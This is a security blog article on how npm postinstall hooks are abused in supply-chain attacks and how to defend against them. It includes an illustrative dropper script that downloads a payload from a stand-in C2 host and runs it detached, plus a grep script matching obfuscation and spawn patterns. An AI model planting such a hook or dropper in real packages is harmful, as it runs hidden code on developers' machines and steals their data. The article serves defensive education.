Dev Encyclopedia
ArticlesToolsContactAbout

Get notified when new content drops

No spam. Just new articles, tools, and updates straight to your inbox.

Dev Encyclopedia

A reference for builders

Content

  • Articles
  • Tools
  • About
  • Contact

Connect

  • support@devencyclopedia.com
  • RSS Feed

Legal

  • Privacy Policy
  • Terms of Service
  • Disclaimer

© 2026 Dev Encyclopedia

Back to top ↑
  1. Home
  2. /Blog
  3. /npm postinstall Attacks: How They Work in 2026
security10 min read

npm postinstall Attacks: How They Work in 2026

How npm postinstall hook attacks like Shai-Hulud actually work in 2026, and a practical checklist to protect your projects and CI/CD pipeline.

Zeeshan Tofiq
Zeeshan Tofiq
July 7, 2026
On this page

On this page

  • How npm Lifecycle Hooks Work
  • Anatomy of a Real Attack
  • Why These Attacks Are Hard to Catch
  • What You Can Actually Do About It
  • A Quick Manual Check You Can Run Right Now
  • When --ignore-scripts Breaks Legitimate Packages
  • Frequently Asked Questions

Every time you run npm install, you are not just downloading files. You are potentially executing arbitrary code, automatically, with your user permissions, before you have looked at a single line of what you just installed.

This is not theoretical. Since the Shai-Hulud worm first appeared in September 2025, security researchers have tracked an accelerating series of npm supply chain attacks that specifically abuse this mechanism. Mini Shai-Hulud campaigns hit in April and May 2026. On June 1, 2026, a campaign compromised at least 32 packages under the @redhat-cloud-services npm namespace, bypassing code review entirely through a compromised employee GitHub account.

A separate campaign in May 2026 hid malicious postinstall scripts inside package.json files bundled with PHP packages on Packagist, specifically because security reviewers checking Composer dependencies do not usually think to check bundled JavaScript tooling. npm is far from the only vector here either. The same trust-by-default problem played out in a WordPress CDN supply chain attack earlier this year, and it keeps showing up anywhere a build step quietly pulls in code nobody reviewed.

This post explains exactly how these attacks work, why they are genuinely hard to catch, and what you can actually do about it today, without needing an enterprise security team. If you want the short version, check your dependency tree for risky install hooks instantly with our Lifecycle Hook Scanner: paste in a package.json and get every preinstall, install, and postinstall script flagged and risk-scored against the exact attack patterns covered below.

How npm Lifecycle Hooks Work

npm packages can define scripts in their package.json that run automatically at specific points during installation. There are three install-time hooks:

  • preinstall: runs before the package's dependencies are installed
  • install: runs during the install step itself (rarely used directly)
  • postinstall: runs after the package and its dependencies finish installing
json — package.json
{
  "name": "some-package",
  "scripts": {
    "postinstall": "node scripts/setup.js"
  }
}

These hooks exist for legitimate reasons. Packages with native addons, like bcrypt or sharp, use postinstall to compile C++ bindings for your specific platform. Puppeteer and Playwright use it to download the browser binaries they need to function. Some packages use it just to print a setup message or validate the environment.

The problem is that npm runs these scripts by default, for every package in your dependency tree, direct or transitive, the moment you run npm install. A prior academic study found that only about 2.2% of packages on the npm registry define install scripts, meaning the overwhelming majority of your dependency tree does not need this at all. But even a single compromised package in a tree of hundreds is enough to run code on your machine.

This same blind-trust pattern is not unique to npm. If you run AI coding assistants or agent tooling locally, it is worth taking the same skeptical look at what those integrations can execute. Check your MCP server config for supply chain risks too, since MCP servers can be granted command execution with just as little visibility as a postinstall script.

Anatomy of a Real Attack

This is the documented execution chain from a campaign Microsoft's security team tracked in May 2026, targeting corporate environments through dependency confusion.

  1. 1

    Register npm packages under lookalike organizational scopes

    The attacker registers npm packages under scopes that mirror real internal corporate namespaces. The campaign Microsoft tracked used names like @cloudplatform-single-spa and @payments-widget, deliberately designed to look like internal tooling a company would already have in its own dependency tree.

  2. 2

    Inflate the version number to win dependency resolution

    The attacker sets an unusually high version number, like 100.100.100, specifically to win npm's dependency resolution against any real internal package of the same name. This is dependency confusion: if your build tooling checks the public registry and finds a "newer" version than your internal one, it may silently pull the malicious public package instead.

  3. 3

    Declare a postinstall hook on every malicious package

    Every package in the malicious set declares a postinstall hook that points at an obfuscated script:

    json — package.json
    {
      "scripts": {
        "postinstall": "node scripts/postinstall.js"
      }
    }
  4. 4

    The obfuscated script calls out to a C2 server

    When npm install runs, this triggers execution of the obfuscated postinstall.js file. In the documented case, this script made an HTTPS request to an attacker-controlled command-and-control server, wrote a payload to a temp directory, and spawned it as a detached background process.

    The snippet below illustrates the general shape of this pattern. It is not a verbatim reproduction of any specific dropper, but the steps line up with what has been documented across multiple campaigns:

    javascript — scripts/postinstall.js
    // Illustrative pattern seen across multiple 2026 postinstall campaigns
    const https = require("https");
    const fs = require("fs");
    const path = require("path");
    const { spawn } = require("child_process");
    const os = require("os");
    
    https.get("https://attacker-c2-domain.example/payload", (res) => {
      const chunks = [];
      res.on("data", (c) => chunks.push(c));
      res.on("end", () => {
        const payloadPath = path.join(os.tmpdir(), ".cache-worker");
        fs.writeFileSync(payloadPath, Buffer.concat(chunks));
    
        // Spawned detached so it survives the parent npm process exiting
        spawn("node", [payloadPath], {
          detached: true,
          stdio: "ignore",
        }).unref();
      });
    });
  5. 5

    The spawned payload exfiltrates environment data

    The spawned payload performs environment reconnaissance, collecting system information, hostnames, environment variables, and developer context, then exfiltrates that data back to the C2 server.

The entire chain happens automatically, within seconds, before the developer running the install command has any chance to intervene. Some documented variants include a kill switch, an environment variable that disables the payload, and a run-once marker to avoid re-triggering on repeated installs. Both are signs of deliberate, careful engineering rather than opportunistic malware.

Why These Attacks Are Hard to Catch

None of this is hard to catch because attackers are unusually clever. It is hard to catch because the surrounding ecosystem gives them cover in a few specific, structural ways.

  • Legitimate cover: because some real packages genuinely need postinstall for native compilation or browser downloads, a security tool that flags every postinstall script produces enough false positives that teams learn to ignore the warnings
  • Obfuscation: documented campaigns use hex encoding, base64 encoding, and XOR-based string manipulation to hide what the postinstall script actually does from a casual code review; a 17KB obfuscated dropper does not look like much until you decode it
  • Cross-ecosystem placement: the Packagist campaign from May 2026 is a sharp example. The malicious code was placed in package.json, a JavaScript ecosystem file, inside PHP (Composer) packages, and security reviewers auditing PHP dependencies typically check composer.json without thinking to also inspect a bundled package.json used only for frontend build tooling
  • Branch-tracking package resolution: some package managers resolve branch-tracking versions like dev-main directly from a repository's current state, so if an attacker compromises the source repository rather than the registry, the malicious code goes live the moment the branch updates, with no new "publish" event to flag

⚠ The published tarball can differ from the source repository

This is one of the most important and underappreciated facts in this space. What ships to the npm registry when you run npm publish is not guaranteed to match what is visible in the package's GitHub repository. An attacker can publish a malicious tarball to npm while keeping the public GitHub repo clean, so anyone reviewing the source code on GitHub sees nothing wrong. Checking npm pack output against the actual repo tree is the only way to catch this divergence, and almost nobody does it because it is manual and slow. It is the same underlying failure mode as a leaked source map exposing your entire codebase: what actually gets published can quietly diverge from what you think you built.

What You Can Actually Do About It

None of these steps require an enterprise security budget. They are things any team can start doing today.

💡 Start with an automated scan, not a manual audit

Before working through the checklist below by hand, check your dependency tree for risky install hooks instantly. Paste your package.json into Lifecycle Hook Scanner and it flags every preinstall, install, and postinstall script, scores each one against the attack patterns in this article, and generates an --ignore-scripts allowlist you can drop straight into your build.

  1. 1

    Audit new dependencies for install hooks before adding them

    Before running npm install <new-package>, check whether it declares an install-time hook:

    bash
    npm view <package-name> scripts

    If you see preinstall, install, or postinstall listed, understand why it is there before proceeding. A native module compiling with node-gyp is normal. An unexplained script is a reason to look closer.

  2. 2

    Default to --ignore-scripts, allowlist what actually needs it

    bash
    npm install --ignore-scripts

    This disables lifecycle script execution for every package in the install. For packages that genuinely need postinstall, like native modules or Puppeteer's browser downloader, maintain an explicit allowlist rather than disabling the protection wholesale. Tools like LavaMoat's allow-scripts package help manage this allowlist systematically instead of an all-or-nothing toggle.

  3. 3

    Diff the published tarball against the source repository

    bash
    npm pack <package-name>
    tar -xf <package-name>-<version>.tgz
    diff -r package/ <path-to-cloned-repo>/

    This is the only reliable way to catch the "clean GitHub repo, dirty npm tarball" pattern. It is manual, but for any dependency you are adding that handles sensitive operations or runs in CI with elevated credentials, it is worth the ten minutes.

  4. 4

    Set a minimum package age policy for new dependency versions

    Many organizations now require newly published package versions to "age" for a set period, commonly 24 to 72 hours, before being pulled into builds. This gives the community time to catch and report a malicious release before your CI pipeline touches it. Some registries and proxies support this natively; others require a dependency firewall like Verdaccio configured with a publish delay.

  5. 5

    Monitor CI/CD logs for unexpected outbound network calls during install

    If your build logs suddenly show network requests to unfamiliar domains during an npm install step, that is a signal worth investigating immediately, not filing away for later. Documented attacks reach out to C2 servers within seconds of the postinstall script executing.

  6. 6

    Review lockfile diffs in every pull request, not just package.json

    A change to package-lock.json, yarn.lock, or pnpm-lock.yaml that adds an unexpected transitive dependency, or bumps a version unusually, is worth a second look. Automated dependency update bots like Dependabot and Renovate are useful, but do not skip reviewing what they actually changed in the lockfile.

    Before merging, it also helps to check your package.json for outdated deps and CVEs, since a stale dependency graph is often exactly where a dependency-confusion attack finds room to slot in an inflated version number.

A Quick Manual Check You Can Run Right Now

If you want a fast gut check on an existing project's dependency tree, this checks for install hooks and common obfuscation patterns across node_modules:

bash — check-node-modules.sh
# Find all packages in node_modules with install-time hooks
find node_modules -name "package.json" -maxdepth 2 -exec grep -l '"postinstall"\|"preinstall"' {} \;

# Check those postinstall scripts for common suspicious patterns
find node_modules -name "package.json" -maxdepth 2 \
  -exec grep -l '"postinstall"' {} \; | while read f; do
    dir=$(dirname "$f")
    grep -rn "eval(atob(\|child_process.*spawn.*detached\|curl.*-s.*http" "$dir" 2>/dev/null
  done

# Look for suspiciously long base64-like strings in JS files
# (a common signal of an obfuscated payload)
grep -rEn "[A-Za-z0-9+/]{200,}={0,2}" --include="*.js" node_modules 2>/dev/null | head -20

ℹ This produces false positives

A legitimate minified bundle or a WASM blob can look identical to an obfuscated payload to a simple pattern match. Treat a hit as a reason to look closer, not as confirmed proof of malware. The goal of a check like this is to turn a blind "ship it" into a "wait, read this first," which is genuinely valuable even with imperfect signal. If you would rather not run manual greps against node_modules every time, check your dependency tree for risky install hooks instantly and get a risk-scored report instead of raw grep output.

When --ignore-scripts Breaks Legitimate Packages

Being honest about the trade-off: some packages will not work correctly with lifecycle scripts disabled. Native modules that compile C++ bindings at install time, and packages like Puppeteer or Playwright that download browser binaries, rely on postinstall to function at all.

The practical middle ground most security-conscious teams land on looks like this: default to --ignore-scripts for all installs, then maintain an explicit allowlist of packages that are trusted to run their install scripts, your native-module dependencies, your testing framework's browser downloader. Run those specific packages' setup manually, or through a controlled step in your build pipeline, rather than trusting every package in your tree by default.

This is not a perfect solution, and it does add friction. But the friction is the point. Instead of silently trusting 100% of your dependency tree to run arbitrary code, you are explicitly trusting only the small number of packages that have earned it and that you genuinely need. The same build-hygiene discipline shows up in our Bumblebee supply chain scanner guide, just applied at the machine level instead of the install-hook level.

The core mental model worth carrying forward: npm install is not a download, it is potential code execution. Every dependency you add is code you are agreeing to run, not just code you are agreeing to import.

Frequently Asked Questions

What is a postinstall attack in npm?

A postinstall attack is when a malicious or compromised npm package uses its postinstall lifecycle script to run arbitrary code automatically the moment someone runs npm install, without any user action beyond installing the dependency.

  • Where it lives: the scripts.postinstall field in the package's package.json
  • When it runs: automatically, immediately after the package and its dependencies finish installing, before you have run or reviewed any code
  • What it typically does: calls out to an attacker-controlled server, downloads a payload, and exfiltrates environment or system data, as documented in campaigns like Shai-Hulud and its 2026 variants
How does npm --ignore-scripts work and what's the trade-off?

--ignore-scripts tells npm to skip running preinstall, install, and postinstall scripts for every package in the install, including transitive dependencies:

bash
npm install --ignore-scripts

⚠ Some packages will break

The trade-off is that any package genuinely relying on postinstall, like native modules that compile C++ bindings or Puppeteer downloading a browser binary, will silently fail to finish setup. Maintain an explicit allowlist (LavaMoat's allow-scripts is built for exactly this) rather than toggling scripts on and off globally.

How do I check a specific package for install hooks before installing it?

Run this before adding any new dependency, especially one you have not used before:

bash
npm view <package-name> scripts

This prints the package's declared lifecycle scripts without installing anything. If a script is present and you cannot explain why it needs to exist, treat that as a reason to dig further, not a reason to skip the install and move on. For a faster, risk-scored version of this same check across an entire package.json, check your dependency tree for risky install hooks instantly.

Do I need special tools to check for postinstall malware, and is it safe to paste my package.json somewhere?

No special tooling is required, everything in this article works with commands already built into npm, grep, and diff. A scanner just makes the process faster and less error-prone than reading raw grep output by hand.

  • What you paste: a package.json is a manifest, not your source code; it lists dependency names, versions, and declared scripts, nothing more
  • What a scanner like Lifecycle Hook Scanner does with it: analyzes the declared scripts directly against known attack patterns and returns a risk score, without requiring you to install the dependency tree first
  • What it does not need: access to your actual node_modules, your source files, or your CI credentials to do this specific check
Are monorepos or CI pipelines more exposed to postinstall attacks?

Yes, in two specific ways. In a monorepo using workspaces, dependencies are often hoisted into a single shared node_modules at the root, which means a single compromised transitive dependency's postinstall script can run once and affect every workspace package that shares that install, not just the one that declared it.

In CI, cached node_modules directories between builds can carry a compromised postinstall's side effects, like a dropped payload in a temp directory, forward across runs if the cache is not invalidated on lockfile changes. Treat lockfile changes as a hard cache-bust trigger, and apply --ignore-scripts in CI installs by default, same as local development.

Does npm audit or Dependabot catch postinstall script attacks?
ToolWhat it checksCatches install-hook abuse?
npm auditKnown CVEs against a vulnerability databaseNo, a brand-new malicious package has no CVE yet
Dependabot / RenovateOutdated versions and known advisoriesNo, they flag stale versions, not what a script actually does
Manual npm pack diffPublished tarball vs. source repositoryYes, but manual and slow
Lifecycle Hook ScannerDeclared preinstall/install/postinstall scripts against known attack patternsYes, purpose-built for this specific gap

npm audit and Dependabot are both reactive: they rely on a vulnerability already being reported and cataloged. A freshly published malicious package with an obfuscated postinstall script has no CVE and no advisory yet, so it sails through both checks cleanly. That gap is exactly what install-hook auditing is meant to close.

Zeeshan Tofiq

Zeeshan Tofiq

Full Stack Developer

Full stack developer with over 6 years of experience building production applications. Writes practical guides on JavaScript, TypeScript, React, Node.js, and cloud infrastructure. Focused on helping developers solve real problems with clean, maintainable code.

Enjoyed this article?

Get practical dev guides, tool updates, and new articles delivered straight to your inbox. No spam, unsubscribe anytime.

Related Articles

security

Source Maps Are Leaking Your Code: How to Stop It in Your npm Packages

Source maps with sourcesContent can leak your entire codebase. Learn how to disable them per bundler, audit with npm pack, and automate the check in CI.

Jun 21, 2026·11 min read
security

Bumblebee Tutorial: Scan Your Dev Machine for Supply Chain Risks

How to install and use Bumblebee, Perplexity's open-source scanner for npm, MCP configs, and extensions. Real commands, scan profiles, and incident response setup.

Jun 21, 2026·11 min read
security

WordPress CDN Supply Chain Attack 2026: What Happened and How to Check Your Site

The OptinMonster, TrustPulse, and PushEngage supply chain attack (June 2026) hit 1.2M sites. Here's exactly how it worked, how to check if you were compromised, and how to recover.

Jun 21, 2026·12 min read

On this page

  • How npm Lifecycle Hooks Work
  • Anatomy of a Real Attack
  • Why These Attacks Are Hard to Catch
  • What You Can Actually Do About It
  • A Quick Manual Check You Can Run Right Now
  • When --ignore-scripts Breaks Legitimate Packages
  • Frequently Asked Questions
Advertisement